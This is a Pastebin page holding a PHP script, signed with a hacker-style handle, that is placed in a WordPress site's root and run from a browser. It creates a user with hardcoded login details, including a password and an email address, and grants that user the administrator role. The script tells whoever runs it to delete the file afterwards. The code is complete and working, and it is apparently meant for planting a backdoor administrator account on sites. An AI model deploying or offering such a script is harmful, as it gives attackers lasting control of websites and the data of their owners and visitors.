Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- // Admin User Auto Add Coded By Pisher_Black
- // Don't Forget to remove this script after user add !
- // Put this file in your Wordpress /Public_html Directory and run it from your browser \!/
- require_once('wp-blog-header.php');
- require_once('wp-includes/registration.php');
- // Change this , you are free to put the logins you want ^_^
- $newusername = 'PisH3r';
- $newpassword = 'pisher01..';
- $newemail = 'pisher.blackserver01@gmail.com';
- // Set The Configs vars
- if ( $newpassword != 'YOURPASSWORD' && $newemail != 'YOUREMAIL@TEST.com' && $newusername !='YOURUSERNAME' )
- {
- // Check that the user doesn't exist already
- if ( !username_exists($newusername) && !email_exists($newemail) )
- {
- // Create the admin user and set the role to Administrator
- $user_id = wp_create_user( $newusername, $newpassword, $newemail);
- if ( is_int($user_id) )
- {
- $wp_user_object = new WP_User($user_id);
- $wp_user_object->set_role('administrator');
- echo 'Successfully created new admin user. Now delete this script ^_^ and dont be lazy ! new user:PisH3r and new pass:pisher01.';
- }
- else {
- echo 'Error with wp_insert_user. No users were created , you are drunk man xD go watch cartoon !';
- }
- }
- else {
- echo 'This user or email already exists , you are drunk man xD put glasses °_° !';
- }
- }
- else {
- echo "You didn't set a password, username, or email inside the script before running the script , you drunk man xD !";
- }
- ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement